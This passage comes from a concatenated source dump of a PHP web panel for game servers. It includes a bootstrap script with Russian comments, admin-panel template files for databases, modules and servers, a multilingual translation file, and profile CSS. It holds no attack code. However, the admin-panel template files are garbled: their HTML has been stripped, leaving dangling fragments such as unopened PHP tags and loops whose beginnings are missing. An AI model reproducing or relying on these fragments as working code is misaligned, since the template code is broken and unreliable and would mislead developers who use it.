кэш-файлы. define('CACHE', STORAGE . 'cache/'); // Директория с ресурсами. define('ASSETS', STORAGE . 'assets/'); // Директория с основными кэш-файлами. define('SESSIONS', CACHE . 'sessions/'); // Директория содержащая логи. define('LOGS', CACHE . 'logs/'); // Директория содержащая изображения. define('IMG', CACHE . 'img/'); // Директория с CSS шаблонами. define('ASSETS_CSS', ASSETS . 'css/'); // Директория с JS библиотеками. define('ASSETS_JS', ASSETS . 'js/'); // Директория с шаблонами "Themes". define('THEMES', ASSETS_CSS . 'themes/'); // Директория с изображениями рангов. define('RANKS_PACK', IMG . 'ranks/'); // Временные константы ( Постоянные времени ) - Минута. define('MINUTE_IN_SECONDS', 60); // Временные константы ( Постоянные времени ) - Час. define('HOUR_IN_SECONDS', 3600); // Временные константы ( Постоянные времени ) - День. define('DAY_IN_SECONDS', 86400); // Временные константы ( Постоянные времени ) - Неделя. define('WEEK_IN_SECONDS', 604800); // Временные константы ( Постоянные времени ) - Месяц. define('MONTH_IN_SECONDS', 2592000); // Временные константы ( Постоянные времени ) - Год. define('YEAR_IN_SECONDS', 31536000); // Запускаем сессию session_start(); // Регистраниция основных функций. require '../../../includes/functions.php'; // Импортирование класса базы данных. require_once '../../../ext/Db.php'; // Импортирование класса отвечающего за работу с языками и переводами. require_once '../../../ext/Translate.php'; // Импортирование класса отвечающего за работу с уведомлениями. require_once '../../../ext/Notifications.php'; // Импортирование основного класса настроек. require_once '../../../ext/General.php'; // Импортирование класса отвечающего за работу с модулями. require_once '../../../ext/Modules.php'; // Импортирование класса отвечающего за работу с авторизацией. require_once '../../../ext/Auth.php'; // Импортирования класса для работы с панелью администратора. require_once '../ext/Admin.php'; $Translate = new \app\ext\Translate; $Db = new \app\ext\Db(); $Notifications = new \app\ext\Notifications ( $Translate, $Db ); $General = new \app\ext\General ( $Db ); $Modules = new \app\ext\Modules ( $General, $Translate, $Notifications ); $Auth = new \app\ext\Auth ( $General, $Db ); // Создаём экземпляр класса для работы с админкой $Admin = new Admin ( $General, $Modules, $Auth, $Db, $Translate); if (isset($_POST['function']) && $_POST['function'] == 'add_conection') { $result = $Admin->action_db_add_connection(); echo json_encode($result); } ================================================ FILE: app/modules/module_page_adminpanel/includes/db.php ================================================ db_data as $mod ): foreach ( $mod as $connection): $db_data[] = $connection; endforeach; endforeach; $db_data_file = require SESSIONS . '/db.php'; ?>
    translate( 'module_page_adminpanel','_mod_list')?>
    mod_count; $i_db++ ):?>
    translate( 'module_page_adminpanel','_mod')?>
    mod_name[ $i_db ]?>
    translate( 'module_page_adminpanel','_configure')?>
    translate( 'module_page_adminpanel','_connection')?>
    translate( 'module_page_adminpanel','_mod')?>
    translate( 'module_page_adminpanel','_list_con')?>
    translate( 'module_page_adminpanel','_mod')?> translate( 'module_page_adminpanel','_user')?> translate( 'module_page_adminpanel','_db_con')?> translate( 'module_page_adminpanel','_table_prefix')?>
    ================================================ FILE: app/modules/module_page_adminpanel/includes/general.php ================================================
    translate( 'module_page_adminpanel','_General_settings')?>
    translate( 'module_page_adminpanel','_Full_name')?>
    translate( 'module_page_adminpanel','_Short_name')?>
    translate( 'module_page_adminpanel','_Basic_information')?>
    translate( 'module_page_adminpanel','_Language')?>
    Steam WEB KEY
    translate( 'module_page_adminpanel','_Show_avatars')?>
    Время сохранения аватаров(Сек.)
    translate( 'module_page_adminpanel','_Extra_settingss')?>
    translate( 'module_page_adminpanel','_Decor')?>
    translate( 'module_page_adminpanel','_Background_image')?>
    scan_templates; ?>
    translate( 'module_page_adminpanel','_Template')?>
    translate( 'module_page_adminpanel','_Design')?>
    translate( 'module_page_adminpanel','_Primary_graphics_container')?>
    arr_general['animations'] === 1 && print 'checked'?>>
    arr_general['sidebar_open'] === 1 && print 'checked'?>>
    arr_general['disable_sidebar_change'] === 1 && print 'checked'?>>
    arr_general['form_border'] === 1 && print 'checked'?>>
    arr_general['graphics.sidebar_blur'] === 1 && print 'checked'?>>
    arr_general['graphics.blocks_blur'] === 1 && print 'checked'?>>
    translate( 'module_page_adminpanel','_Configuration')?>
    arr_general['steam_auth'] === 1 && print 'checked'?>>
    arr_general['steam_only_authorization'] === 1 && print 'checked'?>>
    arr_general['SB_admins_import'] === 1 && print 'checked'?>>
    arr_general['only_steam_64'] === 1 && print 'checked'?>>
    translate( 'module_page_adminpanel','_Optimization')?>
    arr_general['enable_css_cache'] === 1 && print 'checked'?>>
    arr_general['enable_js_cache'] === 1 && print 'checked'?>>
    translate( 'module_page_adminpanel','_Security')?>
    arr_general['css_off_cache'] === 1 && print 'checked'?>>
    arr_general['session_check'] === 1 && print 'checked'?>>
    arr_general['auth_cock'] === 1 && print 'checked'?>>
    ================================================ FILE: app/modules/module_page_adminpanel/includes/modules.php ================================================
    translate( 'module_page_adminpanel','_Module_loading')?>
      arr_module_init['sidebar'] ); else: $c_m_p = sizeof( $Modules->arr_module_init['page'][ get_section( 'module_page', 'home' ) ]['interface'][ get_section( 'module_interface_adjacent', 'afternavbar' ) ] ); endif; for ( $i = 0; $i < $c_m_p; $i++ ) { if( get_section( 'module_page', 'home' ) == 'sidebar' ): $data_id = $Modules->arr_module_init['sidebar'][ $i ]; $data_title = $Modules->array_modules[$Modules->arr_module_init['sidebar'][ $i ]]['title']; else: $data_id = $Modules->arr_module_init['page'][ get_section( 'module_page', 'home' ) ]['interface'][ get_section( 'module_interface_adjacent', 'afternavbar' ) ][ $i ]; $data_title = $Modules->array_modules[$Modules->arr_module_init['page'][ get_section( 'module_page', 'home' ) ]['interface'][ get_section( 'module_interface_adjacent', 'afternavbar' ) ][ $i ]]['title']; endif?>
    translate( 'module_page_adminpanel','_Options')?>
    translate( 'module_page_adminpanel','_Mset')?> array_modules[ $_GET['options'] ]['title']?>
    translate( 'module_page_adminpanel','_MAuth')?>
    array_modules[ $_GET['options'] ]['author']?>
    translate( 'module_page_adminpanel','_MKer')?>
    array_modules[ $_GET['options'] ]['required']['core']?>
    translate( 'module_page_adminpanel','_MVer')?>
    array_modules[ $_GET['options'] ]['version']?>
    translate( 'module_page_adminpanel','_MPHP')?>
    array_modules[ $_GET['options'] ]['required']['php']?>
    translate( 'module_page_adminpanel','_MDesc')?>
    array_modules[ $_GET['options'] ]['info']?>
    translate( 'module_page_adminpanel','_MActive')?>
    array_modules[ $_GET['options'] ]['setting']['status'] == 1 && print 'checked';?>>
    translate( 'module_page_adminpanel','_MMode')?>
    array_modules[ $_GET['options'] ]['setting'] ) ):?>
    array_modules[ $_GET['options'] ]['setting']['interface'] == 1 && print 'checked';?>>
    array_modules[ $_GET['options'] ]['setting'] ) ):?>
    array_modules[ $_GET['options'] ]['setting']['data'] == 1 && print 'checked';?>>
    array_modules[ $_GET['options'] ]['setting'] ) ):?>
    array_modules[ $_GET['options'] ]['setting']['data_always'] == 1 && print 'checked';?>>
    array_modules[ $_GET['options'] ]['setting'] ) ):?>
    array_modules[ $_GET['options'] ]['setting']['cache_enable'] == 1 && print 'checked';?>>
    translate( 'module_page_adminpanel','_MCT')?>
    array_modules[ $_GET['options'] ]['setting'] ) ):?>
    array_modules[ $_GET['options'] ]['setting']['translation'] == 1 && print 'checked';?>>
    array_modules[ $_GET['options'] ]['setting'] ) ):?>
    array_modules[ $_GET['options'] ]['setting']['css'] == 1 && print 'checked'?>>
    array_modules[ $_GET['options'] ]['setting'] ) ):?>
    array_modules[ $_GET['options'] ]['setting']['js'] == 1 && print 'checked'?>>
    ================================================ FILE: app/modules/module_page_adminpanel/includes/servers.php ================================================
    translate( 'module_page_adminpanel','_Server_setting')?>
    server_list_count; $i_server++) {?>
    ID translate( 'module_page_adminpanel','_Server_Name')?> IP:PORT translate( 'module_page_adminpanel','_View')?> IP:PORT
    server_list[$i_server]['id']?> server_list[$i_server]['name']?> server_list[$i_server]['ip']?> server_list[$i_server]['fakeip']?>
    ================================================ FILE: app/modules/module_page_adminpanel/includes/stats.php ================================================
    translate( 'module_page_adminpanel','_Admin_stats')?>
    translate( 'module_page_adminpanel','_Total')?>
    translate( 'module_page_adminpanel','_For')?> :
    translate( 'module_page_adminpanel','_Online')?>
    ================================================ FILE: app/modules/module_page_adminpanel/includes/web.php ================================================
    Шаблонизатор
    ================================================ FILE: app/modules/module_page_adminpanel/translation.json ================================================ { "_Count_admins": { "EN": "Total Admins", "BR": "Total de Administradores", "RU": "Всего админ-ов.", "UA": "Всього адмін-ов.", "LT": "Iš viso administratorių.", "CH": "管理员总数", "CRO": "Ukupno Admina", "RS": "Ukupno Admina", "BA": "Ukupno Admina" }, "_Module_loading": { "EN": "Modules loading order", "BR": "Ordem de carregamento dos módulos", "RU": "Порядок загрузки модулей", "UA": "Порядок завантаження модулів", "LT": "Module loading order", "CH": "模块加载命令", "CRO": "Redoslijed očitavanja modula", "RS": "Redosled očitavanja modula", "BA": "Redoslijed očitavanja modula" }, "_Page": { "EN": "Page", "BR": "Página", "RU": "Страница", "UA": "Сторінка", "LT": "Page", "CH": "页面", "CRO": "Stranica", "RS": "Stranica", "BA": "Stranica" }, "_Options": { "EN": "Options", "BR": "Opções", "RU": "Опции", "UA": "Опції", "LT": "Options", "CH": "选项", "CRO": "Opcije", "RS": "Podešavanja", "BA": "Opcije" }, "_Refresh_cache_modules": { "EN": "To refresh the cache modules", "BR": "Atualizar cache de módulos", "RU": "Обновить кэш модулей", "UA": "Оновити кеш модулів", "LT": "To refresh the cache modules", "CH": "刷新模块缓存", "CRO": "Refrešuj module", "RS": "Osveži module", "BA": "Refrešuj module" }, "_Refresh_cache_translations": { "EN": "To refresh the cache of translations", "BR": "Atualizar cache de traduções", "RU": "Обновить кэш переводов", "UA": "Оновити кеш перекладів", "LT": "To refresh the cache of translations", "CH": "刷新翻译缓存", "CRO": "Refrešuj prevode", "RS": "Osveži prevode", "BA": "Refrešuj prevode" }, "_Update_list_modules": { "EN": "To update the list of modules", "BR": "Atualizar lista de módulos", "RU": "Обновить список модулей", "UA": "Оновити список модулів", "LT": "To update the list of modules", "CH": "更新列表中的模块", "CRO": "Obnovi spisak modula", "RS": "Osveži spisak modula", "BA": "Obnovi spisak modula" }, "_Chief_admin": { "EN": "Chief Administrator", "BR": "Administrador Chefe", "RU": "Гл. Администратор", "UA": "Головний Адміністратор", "LT": "Chief Administrator", "CH": "最高管理员", "CRO": "Glavni Administrator", "RS": "Glavni Administrator", "BA": "Glavni Administrator" }, "_General_settings": { "EN": "General Settings", "BR": "Configurações Gerais", "RU": "Основные настройки", "UA": "Основні налаштування", "LT": "General settings", "CH": "主要设置", "CRO": "Generalna podešavanja", "RS": "Generalna podešavanja", "BA": "Generalna podešavanja" }, "_Configuring_modules": { "EN": "Configuring Modules", "BR": "Configurando Módulos", "RU": "Настройка модулей", "UA": "Налаштування модулів", "LT": "Configuring modules", "CH": "设置模块", "CRO": "Konfiguriši module", "RS": "Konfiguriši module", "BA": "Konfiguriši module" }, "_Server_setting": { "EN": "Servers Settings", "BR": "Configuração dos Servidores", "RU": "Настройка серверов", "UA": "Налаштування серверів", "LT": "Server setting", "CH": "服务器设置", "CRO": "Server postavke", "RS": "Server podešavanja", "BA": "Server podešavanja" }, "_Database_settings": { "EN": "Database Settings", "BR": "Configuração dos Banco de Dados", "RU": "Настройка базы данных", "UA": "Налаштування бази даних", "LT": "Database settings", "CH": "数据库设置", "CRO": "Postavke databaze", "RS": "Podešavanja databaze", "BA": "Podešavanja databaze" }, "_Translation_settings": { "EN": "Translation Settings", "BR": "Configurações de Tradução", "RU": "Настройка переводов", "UA": "Налаштування перекладів", "LT": "Translation settings", "CH": "翻译设置", "CRO": "Postavke prevoda", "RS": "Podešavanja prevoda", "BA": "Podešavanja prevoda" }, "_Extra_settingss": { "EN": "Extra Settings", "BR": "Configurações Extras", "RU": "Дополнительные настройки", "UA": "Додаткові налаштування", "LT": "Extra Settings", "CH": "额外设置", "CRO": "Extra postavke", "RS": "Extra podešavanja", "BA": "Extra podešavanja" }, "_Full_name": { "EN": "Full Name", "BR": "Nome Completo", "RU": "Полное название", "UA": "Полное название", "LT": "Full name", "CH": "网站全名", "CRO": "Puno ime", "RS": "Puno ime", "BA": "Puno ime" }, "_Short_name": { "EN": "Short Name", "BR": "Nome Curto", "RU": "Короткое название", "UA": "Коротка назва", "LT": "Short name", "CH": "网站略称", "CRO": "Kratko ime", "RS": "Kratko ime", "BA": "Kratko ime" }, "_Basic_information": { "EN": "Basic Information", "BR": "Informação Básica", "RU": "Общая информация", "UA": "Загальна інформація", "LT": "Basic information", "CH": "基本信息", "CRO": "Osnovne informacije", "RS": "Osnovne informacije", "BA": "Osnovne informacije" }, "_Language": { "EN": "Language", "BR": "Idioma", "RU": "Язык", "UA": "Мова", "LT": "Language", "CH": "默认语言", "CRO": "Jezik", "RS": "Jezik", "BA": "Jezik" }, "_Chief_administrator_Steam": { "EN": "Chief Administrator (Steam Authorization)", "BR": "Administrador Chefe (Autorização Steam)", "RU": "Глав. администратор (Steam авторизация)", "UA": "Головний адміністратор (Steam авторизація)", "LT": "Chief administrator (Steam authorization)", "CH": "最高管理员 (Steam 验证)", "CRO": "Glavni Administrator (Stim autorizacija)", "RS": "Glavni Administrator (Stim autorizacija)", "BA": "Glavni Administrator (Stim autorizacija)" }, "_Use_Steam_ID": { "EN": "Use Steam ID 64", "BR": "Use Steam ID 64", "RU": "Использовать Steam ID 64", "UA": "Використовувати Steam ID 64", "LT": "Use Steam ID 64", "CH": "使用Steam 64位ID", "CRO": "Koristi STEAM ID 64", "RS": "Koristi STEAM ID 64", "BA": "Koristi STEAM ID 64" }, "_Import_admin_list": { "EN": "Import Admin List from SB/MA (Steam)", "BR": "Importar Lista de Admin do SB/MA (Steam)", "RU": "Импорт админ листа из SB/MA (Steam)", "UA": "Імпорт Адмін листа з SB/MA (Steam)", "LT": "Import admin list from SB/MA (Steam)", "CH": "从SB/MA (Steam)导入管理员", "CRO": "Importuj admin listu sa SB/MA", "RS": "Importuj admin listu sa SB/MA", "BA": "Importuj admin listu sa SB/MA" }, "_Save": { "EN": "Save", "BR": "Salvar", "RU": "Сохранить", "UA": "Зберегти", "LT": "Save", "CH": "保存", "CRO": "Snimi", "RS": "Snimi", "BA": "Snimi" }, "_Dark_mode_default": { "EN": "Dark Mode - Default", "BR": "Modo Escuro - Padrão", "RU": "Тёмный режим - По умолчанию", "UA": "Темний режим - За замовчуванням", "LT": "Dark mode - default", "CH": "黑夜模式", "CRO": "Tamni mod - podrazumjevano", "RS": "Tamni mod - podrazumevano", "BA": "Tamni mod - podrazumjevano" }, "_Animation_default": { "EN": "Animation", "BR": "Animação", "RU": "Анимации", "UA": "Анімації", "LT": "Animation", "CH": "动画", "CRO": "Animacije", "RS": "Animacije", "BA": "Animacije" }, "_Show_avatars": { "EN": "Show Avatars", "BR": "Mostrar Avatares", "RU": "Показывать ли аватарки", "UA": "Чи показувати аватарки", "LT": "Show avatars", "CH": "显示头像", "CRO": "Prikaži slike", "RS": "Prikaži avatare", "BA": "Prikaži avatare" }, "_Sidebar_default": { "EN": "Open Sidebar - Default", "BR": "Abrir Sidebar - Padrão", "RU": "Открытый сайтбар - По умолчанию", "UA": "Відкритий сайдбар - За замовчуванням", "LT": "Open sidebar - default", "CH": "侧边栏 ( 默认 )", "CRO": "Otvori bočni meni - podrazumjevano", "RS": "Otvori sidebar - podrazumevano", "BA": "Otvori sidebar - podrazumjevano" }, "_Round_shapes": { "EN": "Do round shapes", "BR": "Faça formas redondas", "RU": "Закруглять ли углы у форм", "UA": "Чи закругляти кути у форми", "LT": "Do round shapes", "CH": "圆边", "CRO": "Bočne linije zaobljene", "RS": "Bočne linije zaobljene", "BA": "Bočne linije zaobljene" }, "_All_access_rights": { "EN": "All access rights", "BR": "Todos os direitos de acesso", "RU": "Полные права доступа", "UA": "Повні права доступу", "LT": "All access rights", "CH": "所有访问权限", "CRO": "Svi pristupi", "RS": "Svi pristupi", "BA": "Svi pristupi" }, "_Steam_access_authorization": { "EN": "Steam Access Authorization", "BR": "Autorização Acesso Steam", "RU": "Доступ к Steam авторизации", "UA": "Доступ до Steam авторизації", "CH": "Steam 权限认证", "CRO": "Steam autorizacija", "RS": "Stim autorizacija", "BA": "Stim autorizacija" }, "_Steam_only_authorization": { "EN": "Steam Authorization Only", "BR": "Apenas Autorização Steam", "RU": "Авторизация только по Steam", "UA": "Авторизація тільки по Steam", "CH": "仅使用Steam登录认证", "CRO": "Samo Steam autorizacija", "RS": "Samo Stim autorizacija", "BA": "Samo Steam autorizacija" }, "_Design": { "EN": "Design", "BR": "Design", "RU": "Дизайн", "UA": "Дизайн", "CH": "网页样式", "CRO": "Dizajn", "RS": "Dizajn", "BA": "Dizajn" }, "_Configuration": { "EN": "Configuration", "BR": "Configuração", "RU": "Конфигурация", "UA": "Конфігурація", "CH": "其他设置", "CRO": "Konfiguracija", "RS": "Konfiguracija", "BA": "Konfiguracija" }, "_Enable_css_cache": { "EN": "Enable Cache - CSS", "BR": "Habilitar Cache - CSS", "RU": "Включить кэш - CSS", "UA": "Включити кеш - CSS", "CRO": "Omogući CSS keš", "RS": "Omogući CSS keš", "BA": "Omogući CSS keš" }, "_Enable_js_cache": { "EN": "Enable Cache - JS", "BR": "Habilitar Cache - JS", "RU": "Включить кэш - JS", "UA": "Включити кеш - JS", "CRO": "Omogući JS keš", "RS": "Omogući JS keš", "BA": "Omogući JS keš" }, "_Optimization": { "EN": "Optimization", "BR": "Otimização", "RU": "Оптимизация", "UA": "Оптимізація", "CRO": "Optimizacija", "RS": "Optimizacija", "BA": "Optimizacija" }, "_Decor": { "EN": "Decor", "BR": "Decor", "RU": "Оформление", "UA": "Оформлення", "CRO": "Dekoracija", "RS": "Dekor", "BA": "Dekoracija" }, "_White_color_palettes": { "EN": "White Сolor Palettes", "RU": "Белая палитра сайта", "UA": "Біла палітра сайту", "CRO": "Svijetla tema", "RS": "Svetla tema", "BA": "Svijetla tema" }, "_Dark_color_palettes": { "EN": "Dark Сolor Palettes", "RU": "Тёмная палитра сайта", "UA": "Темна палітра сайту", "CRO": "Tamna tema", "RS": "Tamna tema", "BA": "Tamna tema" }, "_Background_image": { "EN": "Background Image", "BR": "Imagem de Fundo", "RU": "Фоновое изображение", "UA": "Фонове зображення", "CRO": "Pozadinska slika", "RS": "Pozadinska slika", "BA": "Pozadinska slika" }, "_No_image": { "EN": "No image", "BR": "Sem imagem", "RU": "Без изображения", "UA": "Без зображення", "CRO": "Bez slike", "RS": "Bez slike", "BA": "Bez slike" }, "_Security": { "EN": "Security", "BR": "Segurança", "RU": "Безопасность", "UA": "Безпека", "CRO": "Zaštita", "RS": "Bezbednost", "BA": "Bezbjednost" }, "_Session_check": { "EN": "Check PHP Sessions", "RU": "Проверка PHP сессий", "UA": "Перевірка PHP сесій", "CRO": "Provjeri PHP sesiju", "RS": "Proveri PHP sesiju", "BA": "Provjeri PHP sesiju" }, "_Primary_graphics_container": { "EN": "Primary Graphics Container", "RU": "Основной графический контейнер", "UA": "Основний графічний контейнер", "CRO": "Primarna veličina", "RS": "Primarna veličina", "BA": "Primarna veličina" }, "_Stretch": { "EN": "Stretch/Fluid", "BR": "Stretch/Fluid", "RU": "Растягивать по ширине экрана", "UA": "Розтягувати по ширині екрану", "CRO": "Razvučeno/Fluid", "RS": "Razvučeno/Fluid", "BA": "Razvučeno/Fluid" }, "_Static": { "EN": "Static - Max 1400px", "RU": "Статика - Макс 1400px", "UA": "Статика - Макс 1400px", "CRO": "Statična - Max 1400px", "RS": "Statična - Max 1400px", "BA": "Statična - Max 1400px" }, "_Disable_sidebar_change": { "EN": "Disable Sidebar Change", "RU": "Запретить изменение вида боковой панели", "UA": "Заборонити зміну виду бічній панелі", "CRO": "Onemogući pomjeranje bočnog menija", "RS": "Onemogući pomeranje sidebara", "BA": "Onemogući pomjeranje sidebara" }, "_Disable_palettes_change": { "EN": "Disable Palettes Change", "RU": "Запретить изменение палитры сайта", "UA": "Заборонити зміну палітри сайту", "CRO": "Onemogući menjanje teme", "RS": "Onemogući menjanje teme", "BA": "Onemogući menjanje teme" }, "_Sidebar_blur": { "EN": "Enable Sidebar Blur", "RU": "Включить размытие у боковой панели", "UA": "Включити розмиття в бічній панелі" }, "_Blocks_blur": { "EN": "Enable Blocks Blur", "RU": "Включить размытие у блоков", "UA": "Включити розмиття у блоків" }, "_Add_Server": { "EN": "Add Server", "BR": "Add Servidor", "RU": "Добавить сервер" }, "_Server_name": { "EN": "Server Name", "RU": "Название сервера" }, "_TechnoName": { "EN": "Technical Name", "RU": "Техническое название" }, "_Ip_Port_Server": { "EN": "IP:PORT Server", "RU": "IP:PORT Сервера" }, "_Ip_Port_View": { "EN": "IP:PORT Output", "RU": "IP:PORT Выводимый" }, "_Rcon": { "EN": "RCON", "RU": "RCON" }, "_Stat_Table": { "EN": "Statistics :: Table", "RU": "Статистика :: Таблица" }, "_Vip_Table": { "EN": "VIP CORE :: Table", "RU": "VIP CORE :: Таблица" }, "_Vip_Sid": { "EN": "Server ID (vipc_core.cfg)", "BR": "Server ID (vipc_core.cfg)", "RU": "ID Сервера (vip_core.cfg)" }, "_Sb_Table": { "EN": "SB/MA :: Table", "BR": "SB/MA :: Tabela", "RU": "SB/MA :: Таблица" }, "_Shop_Table": { "EN": "Shop :: Table", "BR": "Shop :: Tabela", "RU": "Shop :: Таблица" }, "_WarnSystem_Table": { "EN": "WarnSystem :: Table", "BR": "WarnSystem :: Tabela", "RU": "WarnSystem :: Таблица" }, "_Lk_Table": { "EN": "LK :: Table", "BR": "LK :: Tabela", "RU": "LK :: Таблица" }, "_Server_Name": { "EN": "Title", "RU": "Название" }, "_View": { "EN": "Visual", "RU": "Визуальный" }, "_Server": { "EN": "Server", "RU": "Сервер" }, "_Add_con": { "EN": "Add Connection", "RU": "Добавить подключение" }, "_type_con": { "EN": "Type of new connection:", "RU": "Тип нового подключения:" }, "_table_con": { "EN": "Table", "RU": "Таблица" }, "_db_con": { "EN": "Database", "RU": "База данных" }, "_take_db_con": { "EN": "Choose Database", "RU": "Выбери базу данных" }, "_non_take_con": { "EN": "Not chosen", "RU": "Не выбрано" }, "_host": { "EN": "Host", "RU": "Хост" }, "_name_db": { "EN": "Database Name:", "RU": "Имя базы данных:" }, "_username": { "EN": "DB Username:", "RU": "Имя пользователя бд:" }, "_password": { "EN": "User Password DB:", "RU": "Пароль пользователя бд:" }, "_port": { "EN": "Port:", "RU": "Порт:" }, "_table_name": { "EN": "Table Name:", "RU": "Название таблицы:" }, "_rank_pack": { "EN": "Grade Pack:", "RU": "Пакет рангов:" }, "_add": { "EN": "Add", "RU": "Добавить" }, "_mod_list": { "EN": "Mods List", "RU": "Список модов" }, "_mod": { "EN": "Mod", "RU": "Mод" }, "_configure": { "EN": "Configurator", "RU": "Конфигуратор" }, "_connection": { "EN": "Connections", "RU": "Подключения" }, "_take_mod": { "EN": "Choose Mod", "RU": "Выберите мод" }, "_custom_mode": { "EN": "Own Mod", "RU": "Свой мод" }, "_enter_mode_name": { "EN": "Enter the name of the mod:", "RU": "Введите название мода:" }, "_list_con": { "EN": "General", "RU": "Общий" }, "_user": { "EN": "User", "RU": "Пользователь" }, "_table_prefix": { "EN": "Table | Prefix", "RU": "Таблица | Префикс" }, "_error": { "EN": "Error!", "RU": "Ошибка!" }, "_error_host": { "EN": "Enter host!", "RU": "Введите хост!" }, "_error_db": { "EN": "Enter a database name!", "RU": "Введите название базы данных!" }, "_error_password": { "EN": "Enter user password DB!", "RU": "Введите пароль пользователя бд!" }, "_error_username": { "EN": "Enter DB username!", "RU": "Введите имя пользователя бд!" }, "_error_port": { "EN": "Enter port!", "RU": "Введите порт!" }, "_error_name_table": { "EN": "Enter a table name!", "RU": "Введите название таблицы!" }, "_error_rank_pack": { "EN": "Enter Rank Pack!", "RU": "Введите пакет рангов!" }, "_success_db_created": { "EN": "New database added!", "RU": "Новая база данных добавлена!" }, "_error_create_db": { "EN": "First create a database!", "RU": "Сначала создайте базу данных!" }, "_error_enter_db": { "EN": "Choose a database!", "RU": "Выберите базу данных!" }, "_success_table_created": { "EN": "New table added!", "RU": "Новая таблица добавлена!" }, "_error_db_not_found": { "EN": "The specified database was not found!", "RU": "Указанная база данных не найдена!" }, "_error_not_found": { "EN": "Unknown error!", "RU": "Неизвестная ошибка!" }, "_success_mod_created": { "EN": "New mod created!", "RU": "Новый мод создан!" }, "_error_con_db": { "EN": "Error connecting to database!", "RU": "Ошибка подключения к базе данных!" }, "_Admin_stats":{ "EN": "Statistics", "BR": "Estatisticas", "RU": "Статистика", "UA": "Статистика", "LT": "Statistika", "TR": "İstatistik" }, "_Visits":{ "EN": "Visits", "BR": "Visitas", "RU": "Посещения" }, "_Online":{ "EN": "Online now:", "BR": "Online agora:", "RU": "Сейчас онлайн:" }, "_Total":{ "EN": "Total:", "RU": "Всего переходов:" }, "_For":{ "EN": "For", "RU": "За" }, "_Jan":{ "EN": "January", "BR": "Janeiro", "RU": "Январь" }, "_Feb":{ "EN": "February", "BR": "Fevereiro", "RU": "Февраль" }, "_Mar":{ "EN": "March", "BR": "Março", "RU": "Март" }, "_Apr":{ "EN": "April", "BR": "Abril", "RU": "Апрель" }, "_May":{ "EN": "May", "BR": "Maio", "RU": "Май" }, "_Jun":{ "EN": "June", "BR": "Junho", "RU": "Июнь" }, "_Jul":{ "EN": "July", "BR": "Julho", "RU": "Июль" }, "_Aug":{ "EN": "August", "BR": "Agosto", "RU": "Август" }, "_Sep":{ "EN": "September", "BR": "Setembro", "RU": "Сентябрь" }, "_Oct":{ "EN": "October", "BR": "Outubro", "RU": "Октябрь" }, "_Nov":{ "EN": "November", "BR": "Novembro", "RU": "Ноябрь" }, "_Dec":{ "EN": "December", "BR": "Dezembro", "RU": "Декабрь" }, "_Mset":{ "EN": "Module Settings:", "RU": "Настройки модуля:" }, "_MAuth": { "EN": "Author:", "BR": "Autor:", "RU": "Автор:" }, "_MKer":{ "EN": "Min Kernel Version:", "RU": "Мин. версия ядра:" }, "_MVer":{ "EN": "Module Version:", "RU": "Версия модуля:" }, "_MPHP":{ "EN": "Min PHP Version:", "RU": "Мин версия PHP:" }, "_MDesc":{ "EN": "Description:", "RU": "Описание:" }, "_MActive":{ "EN": "Active Page:", "RU": "Активная страница:" }, "_MOnoff":{ "EN": "Module On/Off", "RU": "Модуль вкл/выкл" }, "_MMode":{ "EN": "Module Mode:", "RU": "Режим модуля:" }, "_MInterface":{ "EN": "The Grafical Part:", "RU": "Графическая часть:" }, "_MI":{ "EN": "Pre-Initialization:", "RU": "Пре-инициализация:" }, "_MAP":{ "EN": "Additional pre-initialization associated with the main thread:", "RU": "Дополнительная пре-инициализацию связанная с основным потоком:" }, "_MCache":{ "EN": "Cache Usage:", "RU": "Использование кэша:" }, "_MCT":{ "EN": "Cache Time (Sec):", "RU": "Время кэширования(Сек.):" }, "_MTR":{ "EN": "Own translation file:", "RU": "Собственный файл перевода:" }, "_MCSS":{ "EN": "Native CSS Style:", "RU": "Собственный CSS стиль:" }, "_MJS":{ "EN": "Own JS Library:", "RU": "Собственная JS библиотека:" }, "_Cockie":{ "EN": "Storing data in cookies (NOT SECURE)", "RU": "Сохранение данных в куки (НЕ БЕЗОПАСНО)" }, "_Template":{ "EN": "Choose Template", "RU": "Выберете шаблон" }, "_Css_off_cache": { "EN": "Disable CSS/JS Browser Cache", "RU": "Отключение браузерного кеша CSS/JS" } } ================================================ FILE: app/modules/module_page_profiles/assets/css/1.css ================================================ .weapon-table th { padding: .35rem; } .unusualkills_percent { position: absolute; top: 45%; left: 17px; margin-left: auto; margin-right: auto; text-align: left; font-size: 100%; font-weight: var(--font-weight-3); color: var(--span-color); opacity: .3; } .weapon-table th img { max-width: 54px; max-height: 21px; } .middle-block .hitstats-block .hitstats .back { object-fit: cover; } .middle-block .hitstats-block .hit_player img { filter: brightness(40%); } .middle-block .hitstats-block .hit_player .hit_head:hover, .middle-block .hitstats-block .hit_player .hit_neak:hover, .middle-block .hitstats-block .hit_player .hit_chest:hover, .middle-block .hitstats-block .hit_player .hit_belly:hover, .middle-block .hitstats-block .hit_player .hit_left_arm:hover, .middle-block .hitstats-block .hit_player .hit_right_arm:hover, .middle-block .hitstats-block .hit_player .hit_left_leg:hover, .middle-block .hitstats-block .hit_player .hit_right_leg:hover { -webkit-filter: none; filter: none; } @media (max-width: 767.98px) { .left-block { position: relative; margin-top: 1rem; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .middle-block { position: relative; margin-top: 6px; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .right-block { position: relative; margin-top: 6px; width: 100%; /* Отступ слева -> Блоки */ padding-left: 15px; -ms-flex: 0 0 100%; flex: 0 0 100%; max-width: 100%; } .profile__block { display: -ms-flexbox; display: flex; -ms-flex-wrap: wrap; flex-wrap: wrap; } .user-block { height: 350px; position: relative; width: 100%; -ms-flex: 0 0 38%; flex: 0 0 38%; max-width: 38%; } .block { border: 0px solid transparent; border-radius: 4px; text-align: center; height: 100%; width: 100%; overflow: hidden; } .user-block .block, .best-weapon-block .block, .best-maps .block, .top .block, .unusualkills_block .block, .unusualkills_block_left .block { background-color: var(--sidebar-color); } .best-weapon-block { height: 350px; position: relative; width: 100%; /* Отступ слева -> Блоки */ padding-left: 6px; -ms-flex: 0 0 62%; flex: 0 0 62%; max-width: 62%; } .user-block .avatar { margin-top: 18px; height: 110px; width: 110px; border-radius: 50%; border: 3px solid #fff; } .user-block .name { margin-top: 10px; font-size: 1em; font-weight: var(--font-weight-1); color: var(--span-color); } .user-block .country { font-size: 13px; font-weight: var(--font-weight-0); color: var(--default-text-color); } .user-block .rank-img { margin-top: 10px; max-height: 28px; } 